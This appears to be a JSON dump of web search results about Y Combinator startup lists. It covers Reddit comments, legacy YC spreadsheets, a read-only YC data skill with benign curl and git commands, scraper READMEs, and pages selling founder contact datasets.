Corps. That's a route we're considering but maybe they're not really part of the YC model.\n\n## \u21b3 u/DouweOsinga \u00b7 2 points\n\nI am not sure that's in the feed; YC does seem to have a strong opinion on corporate structure and location. Why do a B corp?\n\n## \u21b3 u/feastofthepriest \u00b7 1 points\n\nIsn't a B Corp just a C Corp with some extra certification? Nestl\u00e9 is one, so I assume it can't be too hard?\n\n## u/Remote_Cucumber_2315 \u00b7 1 points\n\nIs there anyway to know about all YC selected companies of solo non-tech founders ??\n\n## u/ayman_alrifai \u00b7 1 points\n\nThank you, I'm currently doing like this but with w24 batch for research purposes, but it was manual so it took a long time from me and still didn't finish\n\n## u/balmofgilead \u00b7 1 points\n\nAny plans to update this?\n\n## u/OkCrazyBruh \u00b7 1 points\n\nThese are all the startups so i can pitch them for social media content, liked editing copywriting social media management and all?\n\n## u/random-trader \u00b7 1 points\n\nCopied\n\n## u/DjKorgijook \u00b7 1 points\n\nthank you bro\n\n## u/Alternative-Crazy677 \u00b7 1 points\n\nsuperb!\n\n## u/wolfpack132134 \u00b7 1 points\n\nWe can divide and conquer research questions on these datasets\n\n## \u21b3 u/According-Bat9424 \u00b7 1 points\n\nWell, considering some one them are the likes of reddit and Doordash, I think you may find variable success. \ud83d\ude02" }, { "url": "https://spreadsheets.google.com/ccc?hl=en&hl=en&key=t_toYuVyy6fci0MAiIaZ30A&pli=1", "title": "List of Y Combinator startups", "content_head": "| | A | B | C | D | F | G | H | I | N | O |\n|---|---|---|---|---|---|---|---|---|---|---|\n| 1 | This spreadsheet is now deprecated. Please visit Seed-DB (http://www.seed-db.com) to see data for Y Combinator and 100+ other seed accelerators world-wide | | | | | | | | | |\n| 2 | Company | Program Cohort | Months since program start | Dead? | Exit? | Website | AKA / Notes | Est. Acquisition Price | Funding notes | |\n| | | | | | | | | | | |\n| 3 | Reddit | 06-01-05 | 255 | | Y | http://reddit.com | | $15,000,000 | | |\n| 4 | Infogami | 06-01-05 | 255 | Y | Y | | Merged with Reddit | | | |\n| 5 | Kiko | 06-01-05 | 255 | Y | Y | | | $258,000 | | |\n| 6 | Loopt | 06-01-05 | 255 | | Y | http://loopt.com | Acquired by Green Dot | $43,300,000 | | |\n| 7 | ClickFacts | 06-01-05 | 255 | | | http://clickfacts.com | | | | |\n| 8 | Firecrawl | 06-01-05 | 255 | Y | Y | http://textpayme.com | Morphed to TextPayMe, which was acquired by Amazon | $3,000,000 | | |\n| 9 | Simmery | 06-01-05 | 255 | Y | | | | | | |\n| 10 | Memamp | 06-01-05 | 255 | Y | | | One founder joined Reddit | | | 8 startups initially funded |\n| 11 | Flagr | 01-01-06 | 248 | Y | | | | | | |\n| 12 | Wufoo | 01-01-06 | 248 | | Y | http://wufoo.com | | $35,000,000 | | |\n| 13 | YouOS | 01-01-06 | 248 | | Y | http://youos.com | Pivoted to Project Wedding, which was acquired | $4,000,000 | | |\n| 14 | InklingMarkets | 01-01-06 | 248 | | | http://inklingmarkets.com | | | | |\n| 15 | Snipshot | 01-01-06 | 248 | | | http://snipshot.com | | | | |\n| 16 | AudioBeta | 01-01-06 | 248 | | | | | | | |\n| 17 | Clustrix | 01-01-06 | 248 | | | http://clustrix.com | | | | |\n| 18 | PollGround | 06-01-06 | 243 | Y | | | | | | |\n| 19 | LikeBetter | 06-01-06 | 243 | Y | | http://likebetter.com | | | | |\n| 20 | Thinkature | 06-01-06 | 243 | Y | | http://thinkature.com | | | | |\n| 21 | JamGlue | 06-01-06 | 243 | Y | | http://jamglue.com | | | | |\n| 22 | Shoutfit | 06-01-06 | 243 | Y | | | | | | |\n| 23 | Scribd | 06-01-06 | 243 | | | http://scribd.com | | | | |\n| 24 | Xobni | 06-01-06 | 243 | | | http://xobni.com | | | | |\n| 25 | JumpChat | 06-01-06 | 243 | Y | | http://jumpchat.com/ | | | | |\n| 26 | Talkito | 06-01-06 | 243 | Y | | http://talkito.com/ | | | | |\n| 27 | OMGPOP | 06-01-06 | 243 | | Y | http://omgpop.com | Iminlikewithyou, acquired by Zynga | $200,000,000 | | |\n| 28 | Parakey | 01-01-07 | 236 | | Y | http://parakey.com | | $5,000,000 | | |\n| 29 | Weebly | 01-01-07 | 236 | | | http://weebly.com | | | | |\n| 30 | VirtualMin | 01-01-07 | 236 | | | http://virtualmin.com | | | | |\n| 31 | Buxfer | 01-01-07 | 236 | | | http://buxfer.com | | | | |\n| 32 | Octopart | 01-01-07 | 236 | | | http://octopart.com | | | | |\n| 33 | Heysan | 01-01-07 | 236 | | Y | http://heysan.com | | $4,000,000 | | |\n| 34 | SocialMoth | 01-01-07 | 236 | Y | | | | | | |\n| 35 | Auctomatic | 01-01-07 | 236 | | Y | http://auctomatic.com | | $5,000,000 | | |\n| 36 | Tsumobi | 01-01-07 | 236 | | | | | | | |\n| 37 | Whitenoise Networks | 01-01-07 | 236 | Y | | ht" }, { "url": "https://claudewave.com/en/skills/himself65-finance-skills-yc-reader", "title": "yc-reader \u00b7 Claude Code Skill from himself65/finance-skills", "content_head": "Skill3.1k repo starsupdated 6d ago\n\n# yc-reader\n\nThe yc-reader skill fetches publicly available Y Combinator company data from an unofficial open-source API updated daily, providing access to company profiles, batch listings, industry classifications, hiring status, and founder diversity information. Use it to research YC-backed companies, identify hiring startups, explore companies by industry or batch cohort, or analyze diversity statistics without requiring authentication or API keys.\n\nInstall in Claude Code\n\n```\n git clone --depth 1 https://github.com/himself65/finance-skills /tmp/yc-reader && cp -r /tmp/yc-reader/plugins/social-readers/skills/yc-reader ~/.claude/skills/yc-reader\n```\n\nThen start a new Claude Code session; the skill loads automatically.\n\nDefinition\n\n## SKILL.md\n\n```\n # Y Combinator Reader (Read-Only) Fetches Y Combinator company data from the [yc-oss/api](https://github.com/yc-oss/api), an unofficial open-source API that indexes all publicly launched YC companies. The data is sourced from YC's Algolia search index and updated daily via GitHub Actions. **This is a read-only data source.** It provides company profiles, batch listings, industry/tag breakdowns, hiring status, and diversity data. No write operations exist \u2014 the API serves static JSON files. **No authentication required.** The API is public and free. Just use `curl` to fetch JSON endpoints. --- ## Step 1: Verify Prerequisites This skill only needs `curl` (to fetch data) and `jq` (to parse/filter JSON). Both are pre-installed on most systems. ``` !`(command -v curl > /dev/null && echo \"CURL_OK\" || echo \"CURL_MISSING\") && (command -v jq > /dev/null && echo \"JQ_OK\" || echo \"JQ_MISSING\")` ``` If `JQ_MISSING`, install it: ```bash # macOS brew install jq # Linux (Debian/Ubuntu) sudo apt-get install jq ``` If `jq` is unavailable, you can still fetch raw JSON with `curl` and parse it inline with Python or other tools \u2014 but `jq` makes filtering much easier. --- ## Step 2: Identify What the User Needs Match the user's request to the appropriate endpoint. See `references/api_reference.md` for full details. | User Request | Endpoint | Notes | |---|---|---| | Overall YC stats | `meta.json` | Company count, batch list, industry/tag lists | | All companies | `companies/all.json` | Full dataset (~5,700 companies) \u2014 large response | | Top companies | `companies/top.json` | ~91 top-performing YC companies | | Companies hiring | `companies/hiring.json` | ~1,400 currently hiring | | Non-profit companies | `companies/nonprofit.json` | YC-backed non-profits | | Diversity data | `companies/black-founded.json`, `hispanic-latino-founded.json`, `women-founded.json` | Founder diversity | | Specific batch | `batches/{batch-name}.json` | e.g., `winter-2026.json`, `spring-2026.json`, `fall-2025.json` | | Single company profile | `batches/{batch-name}/{slug}.json` | e.g., `batches/summer-2009/stripe.json`, `batches/winter-2009/airbnb.json` | | By industry | `industries/{industry}.json` | e.g., `f" }, { "url": "https://github.com/akshaybhalotia/yc_company_scraper", "title": "GitHub - akshaybhalotia/yc_company_scraper: Barebones scraper for listing all YC companies", "content_head": "[![Logo](https://camo.githubusercontent.com/b8a8d1b4311a6f1d68e9063fc51a8aa47c21e6c8ff517768d231d9bb7fadf7cc/68747470733a2f2f7777772e79636f6d62696e61746f722e636f6d2f6173736574732f796364632f79636f6d62696e61746f722d6c6f676f2d333763663033306662633235356663373164313961613231626435623332303736616132303665386662643031323163393234376462326164636264373835312e706e67)](https://ycombinator.com)\n\n## yc_company_scraper by akshaybhalotia\n\n Barebones scraper for listing all YC companies\n[View Data](https://github.com/akshaybhalotia/yc_company_scraper/blob/main/data/yc_essential_data.json) \u00b7 [Report Bug](https://github.com/akshaybhalotia/yc_company_scraper/issues) \u00b7 [Request Feature](https://github.com/akshaybhalotia/yc_company_scraper/issues)\n\n## Table of Contents\n\n- About the Project\n - Built With\n- Getting Started\n - Dependencies\n - Installing\n - Usage\n - Run locally\n - Help\n- Versioning\n - Version History\n- Roadmap\n- Contributing\n- Support\n- License\n- Acknowledgments\n- About Authors\n\n## About The Project\n\nThis is an attempt to get publicly available data for all Y-Combinator (fondly known as \"YC\") backed companies, as available at the official [\"startup directory\"](https://www.ycombinator.com/companies/).\n\n### Built With\n\n- [jq](https://stedolan.github.io/jq/)\n- [Ruby](https://www.ruby-lang.org/)\n- [VS Code](https://code.visualstudio.com/)\n- \uf8ff\n- \u2764\ufe0f\n\n## Getting Started\n\nYou can clone or download the repo, and run the `refresh_data.sh` to refresh the data. You may also look at the other scripts if you want to run individual tasks or learn more about the project.\n\nIf you just want to view the data, you can look into the `data` directory.\n\n## Dependencies\n\nTo run these scripts locally, you would need\n\n- Ruby language (if not pre-installed, visit [https://www.ruby-lang.org/en/documentation/installation/](https://www.ruby-lang.org/en/documentation/installation/))\n\n```\n ruby -v\n```\n- jq (download using OS and distribution specific version from [https://stedolan.github.io/jq/download/](https://stedolan.github.io/jq/download/))\n\n## Installing\n\nClone the repo\n\n```\n git clone https://github.com/akshaybhalotia/yc_company_scraper.git\n```\n\n## Usage\n\n### Run project locally\n\n```\n sh refresh_data.sh\n```\n\n## Help\n\nYou might encounter 3 kinds of issues:\n\n1. `ruby` or `jq` related: Something might change with the future (or past) versions of the Ruby lang or jq tool, causing the scripts to break. This script has been tested on ruby `v2.7.x` and `v3.0.x`, and jq `v1.6`. Your best bet is to read the official changelogs to figure out what changed and how to fix it. Submit a PR too! (Or you could ping me, I'll look at it in my free time - no promises)\n2. OS related: I built this script on macOS `v12.1`, but is mostly generic enough to be run on all UNIX-derived, UNIX-like or Linux-like systems. If you still run into errors, please look at OS specific instructions to run the Ruby lang and `jq` properly.\n3. Data related: Y-Combinator or Algolia may decide to change their AP" }, { "url": "https://ycfounderlist.com/companies/w26", "title": "YC Winter 2026 Companies Directory (W26) \u2014 Full List", "content_head": "\ud83c\udf89 LIMITED TIME:33% OFF ALL DATABASESCode: JUNE2026- Use at checkout!\n\nW26\n\n# YC Winter 2026 Companies Directory\n\nThe complete directory of all 197 companies that went through Y Combinator's Winter 2026 (W26) batch. Names and websites only \u2014 for verified founder emails, LinkedIn URLs, and full contact data, get the dataset below.\n\nLast updated: June 2026\n\n360 verified contacts \u00b7 Use code JUNE2026 for 33% off\n\n## Need to reach these 197 companies?\n\nThe Winter 2026 dataset has 360 verified founder contacts \u2014 names, emails, LinkedIn URLs, titles, and current company status.\n\nUse code JUNE2026 for 33% off\n\n[See the full Winter 2026 product page](/p/yc-founder-list-w26-winter-2026)" }, { "url": "https://productcool.com/product/exploreyc-2", "title": "ExploreYC - Open-source API for Y Combinator & a16z company data | ProductCool", "content_head": "### Product Introduction\n\n1. **Definition:** ExploreYC is a read-only REST API and web application that serves as a unified, open-source database for startup intelligence. Technically, it aggregates and structures data on over 6,600 companies from two of the world's most prestigious startup accelerators and venture capital firms: Y Combinator (YC) and Andreessen Horowitz (a16z).\n2. **Core Value Proposition:** It exists to solve the problem of fragmented and inaccessible startup data. ExploreYC provides developers, analysts, and investors with a single, programmatic source of truth for comprehensive startup information\u2014including funding rounds, stage, IPO/M&A exit status, founder details, and portfolio analytics\u2014through a well-documented API and interactive web tools.\n\n### Main Features\n\n1. **Comprehensive REST API:** The core product is a JSON-over-HTTPS REST API with full Swagger/OpenAPI documentation. It offers endpoints for listing, filtering, and retrieving detailed company records (`GET /companies`), full-text search (`GET /search`), and fetching aggregate statistics (`GET /stats`). Authentication is via Bearer token or `X-API-Key` header, and rate limits are clearly communicated per request via `X-RateLimit-*` headers.\n2. **Granular Data Filtering:** The API allows for precise querying of the startup database using parameters like `vc` (to filter by YC, a16z, or all), `batch` (e.g., W25, S24), `industry`, `country`, and `status`. This enables users to build targeted lists, such as \"all a16z-backed AI companies in Series B stage.\"\n3. **Interactive Web Application Suite:** Beyond the API, ExploreYC provides a full web app featuring a global map of geo-located companies (`GET /map`), portfolio analytics dashboards, a live hiring board for YC startups, and AI-powered tools for data exploration. The `GET /batch/{name}/wrapped` endpoint delivers batch-specific \"wrapped\"-style analytics.\n\n### Problems Solved\n\n1. **Pain Point:** Manually researching and tracking startup portfolios from multiple top-tier VCs is time-consuming, inconsistent, and non-scalable. Data is often locked in PDFs, scattered across news articles, or behind paywalls.\n2. **Target Audience:** Startup founders (for competitive analysis and market research), venture capital analysts and associates (for deal sourcing and due diligence), developers building fintech or recruiting tools, academic researchers studying innovation ecosystems, and journalists covering the tech industry.\n3. **Use Cases:** A developer building a SaaS tool for tracking competitor funding; a VC analyst automating a weekly report on new YC batch companies; a founder researching the landscape of a16z-backed companies in their industry before a fundraise; a data scientist analyzing trends in startup success factors across different batches and geographies.\n\n### Unique Advantages\n\n1. **Differentiation:** Unlike generic business databases or expensive proprietary platforms, ExploreYC is specifically focused on the " }, { "url": "https://firecrawl.dev/prometheus/market/startup-funding-and-yc-batch-tracker-tracks-yc-directory-companies-and-publicly-visible", "title": "Startup Funding And YC Batch Tracker Data Collector | Firecrawl Prometheus", "content_head": "## Startup Funding And YC Batch Tracker collector facts\n\nPublisher: bo-05 (@bo-05).\n\nVersion: 1. Last updated: 2026-07-03T08:40:35.898Z.\n\nRun this collector on demand, as an API endpoint, or on a schedule with Firecrawl Prometheus.\n\nSample fields: metadata, query, region, seed_urls, sort_hint, batch_filter, collected_at, result_count, source_types, stage_filter, max_companies, snapshot_label.\n\nParameters: source-types (string, required), query (string, required), seed-urls (string), max-companies (number, required), output-mode (string, required), batch-filter (string), funding-date-range (string), stage-filter (string), region (string), include-founders (boolean), include-investors (boolean), snapshot-label (string), sort-hint (string).\n\n# Startup Funding And YC Batch Tracker\n\nv1Published\n\nTracks YC directory companies and publicly visible funding-database company profiles for a thesis query, with normalized company fields, funding rounds, source URLs, and snapshot metadata.\n\n## Output & API\n\nPreview the latest data, download it, or call this collector as an API.\n\nAuthor's sample data\n\nParameters\n\n--source-typesstringrequiredComma-separated source types to use: yc_directory, funding_database, or both. e.g. \"yc_directory,funding_database\"\n\n--querystringrequiredSector, geography, or thesis used for discovery; at least one of query or seed-urls must be provided. e.g. \"AI infrastructure\"\n\n--seed-urlsstringComma-separated YC directory pages, funding search pages, or company profile pages to prioritize before search discovery. default \"\"\n\n--max-companiesnumberrequiredMaximum number of unique companies to return; capped at 25 to keep collection bounded. e.g. 4\n\n--output-modestringrequiredOutput shape: company_rows for one company list, or grouped_by_source for source-grouped company lists. e.g. \"company_rows\"\n\n--batch-filterstringOptional YC batch filter such as S24 or W25. default \"\"\n\n--funding-date-rangestringFunding recency phrase used in funding-database discovery queries. default \"last 90 days\"\n\n--stage-filterstringOptional comma-separated funding stage filter such as pre-seed,seed,series_a. default \"\"\n\n--regionstringRegion label to attach to the snapshot and company rows when a source-specific region is not available. default \"global\"\n\n--include-foundersbooleanWhether to include visibly listed founders from source pages. default true\n\n--include-investorsbooleanWhether to include visibly listed investors from funding pages. default true\n\n--snapshot-labelstringSnapshot label for repeated runs; leave blank to use the current run timestamp. default \"\"\n\n--sort-hintstringSort preference hint recorded in metadata and used in discovery phrasing. default \"newest\"\n\n## Marketplace\n\nPublish this collector so others can deploy it \u2014 you keep ownership.\n\n0 subscribers\n\n[bo-05@bo-05](/prometheus/market/p/bo-05)\n0 runs in 14d \u00b7 published 3w ago\n\n## Versions\n\nEvery build and self-heal appends a version. Pin one to lock runs to it.\n\nmanaged by author\n\nv1builtapprov" }, { "url": "https://github.com/Ned-oleary/yc-csv-generator", "title": "GitHub - Ned-oleary/yc-csv-generator: generates a csv of y combinator backed companies", "content_head": "```\n cd yc-companies-csv npm i npm run dev\n```\n\nopen localhost:3000 in your browser, hit the button in the middle of the screen, and wait -- this does take a little while" }, { "url": "https://ycfounderlist.com/p/yc-founder-list-p26-spring-2026", "title": "Spring 2026 \u2014 YC Founder List", "content_head": "\ud83c\udf89 LIMITED TIME:33% OFF ALL DATABASESCode: JUNE2026- Use at checkout!\n\nP26\n\n# Spring 2026\n\nYC 2026 batch\n\n324 verified contacts\n\nCSV + TSV download\n\nIncl. 19 ex-founders\nLast updated: June 2026\n\n$21\n\nOne-time payment \u00b7 Free updates after every YC batch\n\nUse code JUNE2026 for 33% off at checkout\n\n## What you get\n\n### Per-founder data (15 columns)\n\n- Company, YC year & batch\n- Full name, first & last name\n- Verified email address (deliverability-checked)\n- Title and LinkedIn profile\n- Company website\n- Status (Active / Changed job) + current company\n- City, state, country\n\n### Files in this package\n\n- `YC_Founders_2026_P26.csv`\n- `YC_Founders_2026_P26.tsv`\nCSV and TSV have identical content \u2014 pick the format your tool prefers.\n\nOf 391 total rows in this batch, 324 are verified deliverable (still at YC company + valid email). The remainder are labeled Changed job so you know who's moved on.\n\n## Companies in this batch\n\n191 companies in Spring 2026. Showing the first 18 alphabetically \u2014 [browse all 191 \u2192](/companies/p26)\n\n9 Mothers\n\n3 founders\n\nAbInitio Bio\n\n1 founder\n\nAdialante\n\n2 founders\n\nAdvanced Metal Research\n\n3 founders\n\nAgentPhone\n\n2 founders\n\nAICE\n\n2 founders\n\nAkkari\n\n3 founders\n\nAlchemize\n\n2 founders\n\nAllowance\n\n1 founder\n\nAmboras\n\n2 founders\n\nAndco\n\n3 founders\n\nAndustry\n\n2 founders\n\nANORIA\n\n1 founder\n\nApollo Atomics, Inc.\n\n2 founders\n\nAquaShield\n\n2 founders\n\nAra\n\n2 founders\n\nArcher\n\n2 founders\n\nArctic Health\n\n3 founders\n\n## Ready to get Spring 2026?\n\nInstant download. 324 verified contacts.\n\nUse code JUNE2026 for 33% off\n\n[Browse all batches](/)" }, { "url": "https://extruct.ai/data-room/ycombinator-companies-f26", "title": "YC F26 Companies (Fall 2026): Full Startup List | Extruct AI", "content_head": "# Y Combinator F26 Batch Companies\n\nY Combinator F26 Companies\n\nStartup Batches\n\nWelcome to our interactive overview of Y Combinator's F26 batch. Below, you'll find a sortable, filterable table showcasing portfolio companies from this cohort.\n\nEach row details:\n\n- Company name and sector (spanning B2B SaaS, Healthcare, Fintech, Biotech, Construction, Analytics, Consumer, Deep Tech, and more)\n- Funding stage to help you gauge maturity and runway\n- YC Partner assignment for insight into mentorship and domain expertise\nUse this table to:\n\n- Explore Y Combinator's current investment focus, spotting which industries and technologies are gaining traction\n- Identify promising directions by filtering sectors or funding stages for your own market research or strategic planning\n- Quickly find founder contacts for networking, partnership, or investment outreach\nThis page goes live early and updates as Y Combinator announces the Fall 2026 cohort, so check back to track new companies, market trends, potential collaborators, and the next wave of disruptive startups in one centralized view.\n\nInteractive Table\n\nCompany List\n\n[Download Table](https://app.extruct.ai/tables/shared/67e88e7c-d40d-4f5b-b7e4-161ae75ec047?source=data-room)\n\nCompany Websiteruninfra.ai\n\nOne-LinerChat-native AI model optimization platform\n\nEmployee Count1-10\n\nCompany Websitedegla.ai\n\nOne-LinerAutonomous drone fleets for emergency response\n\nHQ CountryUnited States\n\nCompany Websitegodhands.dev\n\nOne-LinerDeterministic computer-use infrastructure for agents\n\nHQ CountryUnited States\n\nCompany Websitesimantic.dev\n\nOne-LinerSimulated hardware for embedded QA\n\nHQ CountryCanada\n\nCompany Websiteusecollarai.com\n\nOne-LinerAI deal agent for private market investors\n\nHQ CountrySingapore\n\nCompany Websitelambdarobotics.ai\n\nOne-LinerAutonomous robots for AI data centers\n\nHQ CountryUnited States\n\nCompany Websiteqokedas.com\n\nOne-LinerSmall lab teaching AI to decode physical instruments\n\nHQ CountryUnited States\n\n| Company | Company Website | One-Liner | HQ Country | Employee Count | Founding Year | Product Description | YC Page | YC Industry | YC Partner | Functional Type | Extruct Industry | LinkedIn Profile | GitHub URL | Business Model v4 | Extruct Category | Sub-cluster | AI Pattern | Builds Hardware | Funding Verified | Delivery Model | Number of Founders | Founders LinkedIn |\n|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|\n| | | Chat-native AI model optimization platform | \u2013 | 1-10 | 2025 | RunInfra is a chat-native platform for building, optimizing, and deploying open-source AI inference pipelines. It benchmarks real GPUs, applies kernel optimizations, and generates OpenAI-compatible production APIs from plain-English prompts. The company is backed by Y Combinator and presents RunInfr | | B2B, Infrastructure | Nicolas Dessaigne sources: 1 | AI Research, Dev tools for AI Agents | Analytics | | | Developer infrastructure | DevTools | inference pipelines | AI i" }, { "url": "https://ycfounderlist.com/p/yc-founder-list-bundle-2026", "title": "2026 Complete Bundle \u2014 YC Founder List", "content_head": "\ud83c\udf89 LIMITED TIME:33% OFF ALL DATABASESCode: JUNE2026- Use at checkout!\n\nBest Value\n\n# 2026 Complete Bundle\n\nP26\n\nW26\n\nS26\n\n3 batches \u00b7 YC 2026\n\n703 verified contacts\n\nCSV + TSV download\n\nIncl. 32 ex-founders\nLast updated: June 2026\n\n$47.25\n\nOne-time payment \u00b7 Free updates after every YC batch\n\nUse code JUNE2026 for 33% off at checkout\n\n## What you get\n\n### Per-founder data (15 columns)\n\n- Company, YC year & batch\n- Full name, first & last name\n- Verified email address (deliverability-checked)\n- Title and LinkedIn profile\n- Company website\n- Status (Active / Changed job) + current company\n- City, state, country\n\n### Files in this package\n\n- `YC_Founders_2026_P26.csv`\n- `YC_Founders_2026_P26.tsv`\n- `YC_Founders_2026_W26.csv`\n- `YC_Founders_2026_W26.tsv`\n- `YC_Founders_2026_S26.csv`\n- `YC_Founders_2026_S26.tsv`\nCSV and TSV have identical content \u2014 pick the format your tool prefers.\n\nOf 827 total founders in this batch, 703 are verified deliverable (still at YC company + valid email). The remainder are labeled Changed job so you know who's moved on.\n\n## Ready to get 2026 Complete Bundle?\n\nInstant download. 703 verified contacts.\n\nUse code JUNE2026 for 33% off\n\n[Browse all batches](/)" }, { "url": "https://camelai.com/tools/yc-data-analyzer", "title": "Analyze Y Combinator Data", "content_head": "MarketingFree Tool\n\n# Chat with Y Combinator's entire company directory\n\nAsk questions about 5,000+ YC companies and get instant AI-powered insights, interactive charts, and downloadable data. Market research, prospecting, batch analysis \u2014 free, no signup required.\n\n## How it works\n\nFrom URL to actionable insights in seconds\n\n1\n\n### Ask a question\n\nType any question about YC companies \u2014 batch comparisons, industry trends, hiring data, or specific company lookups.\n\n2\n\n### AI queries live YC data\n\nOur AI agent intelligently queries Y Combinator's company directory API, chaining multiple calls to gather exactly the data it needs.\n\n3\n\n### Get interactive results\n\nSee your answer as rich charts, sortable tables, and company cards \u2014 all rendered instantly in the conversation.\n\n4\n\n### Download or dig deeper\n\nExport tables as CSV, save charts as PNG, or ask follow-up questions to explore further. Each conversation builds on itself.\n\n## Built for real workflows\n\nWhether you're a marketer, developer, or agency \u2014 this tool fits your process\n\n### Batch analysis\n\nCompare YC batches by industry, team size, or company count. Find out which batch produced the most AI companies or the largest teams.\n\n### Industry research\n\nExplore which industries YC is betting on. See trends across batches and find companies in niche verticals you care about.\n\n### Competitive landscape\n\nFind all YC companies in your space. Get a quick overview of who's building what, their team sizes, and current status.\n\n### Hiring intelligence\n\nDiscover which YC companies are actively hiring. Filter by industry, batch, or region to find opportunities or recruitment targets.\n\n### Investor due diligence\n\nQuickly research YC companies by batch, industry, or growth signals. Export data as CSV for your own analysis and deal flow tracking.\n\n### Build with camelAI\n\nNeed to build custom tools, dashboards, or automations? camelAI lets you deploy production software \u2014 databases, APIs, AI agents \u2014 from a single chat interface.\n\n## Frequently asked questions\n\n## Build tools like this with camelAI\n\nThis tool was built and deployed entirely from a chat interface. camelAI gives you a persistent computer with AI \u2014 build databases, APIs, dashboards, and production software by describing what you need.\n\n## More free tools\n\nCheck out our other free tools for SEO, development, and marketing\n\n[SEOFree\n### Open Graph & Twitter Card Previewer\nPreview how your website appears on Twitter/X, Facebook, LinkedIn, and Slack. Check OG tags, Twitter cards, and fix social sharing issues \u2014 free, no signup required.\nTry it free \u2192](/tools/metadata-card-previewer)[MarketingFree\n### AI Website Roaster\nPaste any URL and our AI will roast your website's design, SEO, copy, performance, and accessibility. Funny, honest, and actually useful feedback \u2014 free, no signup required.\nTry it free \u2192](/tools/website-roaster)" }, { "url": "https://docs.google.com/spreadsheets/d/13HIAEwspdjqKENvi5uHJb8TfS39B_pAfMDtBHDEvjZU/edit?hl=en&hl=en", "title": "List of Y Combinator startups", "content_head": "| A | B | C | D | F | G | H | I | N | O | | 1 | This spreadsheet is now deprecated. Please visit Seed-DB (http://www.seed-db.com) to see data for Y Combinator and 100+ other seed accelerators world-wide | | 2 | Company | Program Cohort | Months since program start | Dead? | Exit? | Website | AKA / Notes | Est. Acquisition Price | Funding notes | | 3 | Reddit | 06-01-05 | 248 | Y | http://reddit.com | $15,000,000 | | 4 | Infogami | 06-01-05 | 248 | Y | Y | Merged with Reddit | | 5 | Kiko | 06-01-05 | 248 | Y | Y | $258,000 | | 6 | Loopt | 06-01-05 | 248 | Y | http://loopt.com | Acquired by Green Dot | $43,300,000 | | 7 | ClickFacts | 06-01-05 | 248 | http://clickfacts.com | | 8 | Firecrawl | 06-01-05 | 248 | Y | Y | http://textpayme.com | Morphed to TextPayMe, which was acquired by Amazon | $3,000,000 | | 9 | Simmery | 06-01-05 | 248 | Y | | 10 | Memamp | 06-01-05 | 248 | Y | One founder joined Reddit | 8 startups initially funded | | 11 | Flagr | 01-01-06 | 241 | Y | | 12 | Wufoo | 01-01-06 | 241 | Y | http://wufoo.com | $35,000,000 | | 13 | YouOS | 01-01-06 | 241 | Y | http://youos.com | Pivoted to Project Wedding, which was acquired | $4,000,000 | | 14 | InklingMarkets | 01-01-06 | 241 | http://inklingmarkets.com | | 15 | Snipshot | 01-01-06 | 241 | http://snipshot.com | | 16 | AudioBeta | 01-01-06 | 241 | | 17 | Clustrix | 01-01-06 | 241 | http://clustrix.com | | 18 | PollGround | 06-01-06 | 236 | Y | | 19 | LikeBetter | 06-01-06 | 236 | Y | http://likebetter.com | | 20 | Thinkature | 06-01-06 | 236 | Y | http://thinkature.com | | 21 | JamGlue | 06-01-06 | 236 | Y | http://jamglue.com | | 22 | Shoutfit | 06-01-06 | 236 | Y | | 23 | Scribd | 06-01-06 | 236 | http://scribd.com | | 24 | Xobni | 06-01-06 | 236 | http://xobni.com | | 25 | JumpChat | 06-01-06 | 236 | Y | http://jumpchat.com/ | | 26 | Talkito | 06-01-06 | 236 | Y | http://talkito.com/ | | 27 | OMGPOP | 06-01-06 | 236 | Y | http://omgpop.com | Iminlikewithyou, acquired by Zynga | $200,000,000 | | 28 | Parakey | 01-01-07 | 229 | Y | http://parakey.com | $5,000,000 | | 29 | Weebly | 01-01-07 | 229 | http://weebly.com | | 30 | VirtualMin | 01-01-07 | 229 | http://virtualmin.com | | 31 | Buxfer | 01-01-07 | 229 | http://buxfer.com | | 32 | Octopart | 01-01-07 | 229 | http://octopart.com | | 33 | Heysan | 01-01-07 | 229 | Y | http://heysan.com | $4,000,000 | | 34 | SocialMoth | 01-01-07 | 229 | Y | | 35 | Auctomatic | 01-01-07 | 229 | Y | http://auctomatic.com | $5,000,000 | | 36 | Tsumobi | 01-01-07 | 229 | | 37 | Whitenoise Networks | 01-01-07 | 229 | Y | http://www.whitenoisenetworks.com/ | | 38 | Writewith | 01-01-07 | 229 | Y | http://writewith.com/ | | 39 | View3 | 01-01-07 | 229 | Y | http://view3.com/ | | 40 | Zenter | 01-01-07 | 229 | Y | http://zenter.com/ | $4,000,000 | 38 startups before summer 07 | | 41 | Justin.tv | 06-01-07 | 224 | http://justin.tv | Founded 10/07, founders from Kiko 6/05 | | 42 | Zecter (Versionate) | 06-01-07 | 224 | Y | http://zecter.com | ZumoDrive, acqu" }, { "url": "https://kaggle.com/datasets/nsfranck/y-combinator-startup-list", "title": "List Of Startups Funded by Y Combinator", "content_head": "Kaggle uses cookies from Google to deliver and enhance the quality of its services and to analyze traffic.\n\n![Something went wrong and this page crashed!](/static/images/error/server-error-illo_light.svg)\n\n###### Something went wrong and this page crashed!\n\nIf the issue persists, it's likely a problem on our side.\n\n```\n Loading CSS chunk 7815 failed.\\n(https://www.kaggle.com/static/assets/7815.e94de944d22d175f.css) Error: Loading CSS chunk 7815 failed.\\n(https://www.kaggle.com/static/assets/7815.e94de944d22d175f.css) at t.onerror.t.onload (https://www.kaggle.com/static/assets/runtime.js?v=3dc29821f5355604:1:12205)\n```" }, { "url": "https://ycfounderlist.com/p/yc-founder-list-w26-winter-2026", "title": "Winter 2026 \u2014 YC Founder List", "content_head": "\ud83c\udf89 LIMITED TIME:33% OFF ALL DATABASESCode: JUNE2026- Use at checkout!\n\nW26\n\n# Winter 2026\n\nYC 2026 batch\n\n360 verified contacts\n\nCSV + TSV download\n\nIncl. 13 ex-founders\nLast updated: June 2026\n\n$21\n\nOne-time payment \u00b7 Free updates after every YC batch\n\nUse code JUNE2026 for 33% off at checkout\n\n## What you get\n\n### Per-founder data (15 columns)\n\n- Company, YC year & batch\n- Full name, first & last name\n- Verified email address (deliverability-checked)\n- Title and LinkedIn profile\n- Company website\n- Status (Active / Changed job) + current company\n- City, state, country\n\n### Files in this package\n\n- `YC_Founders_2026_W26.csv`\n- `YC_Founders_2026_W26.tsv`\nCSV and TSV have identical content \u2014 pick the format your tool prefers.\n\nOf 414 total rows in this batch, 360 are verified deliverable (still at YC company + valid email). The remainder are labeled Changed job so you know who's moved on.\n\n## Companies in this batch\n\n197 companies in Winter 2026. Showing the first 18 alphabetically \u2014 [browse all 197 \u2192](/companies/w26)\n\n10x Science\n\n3 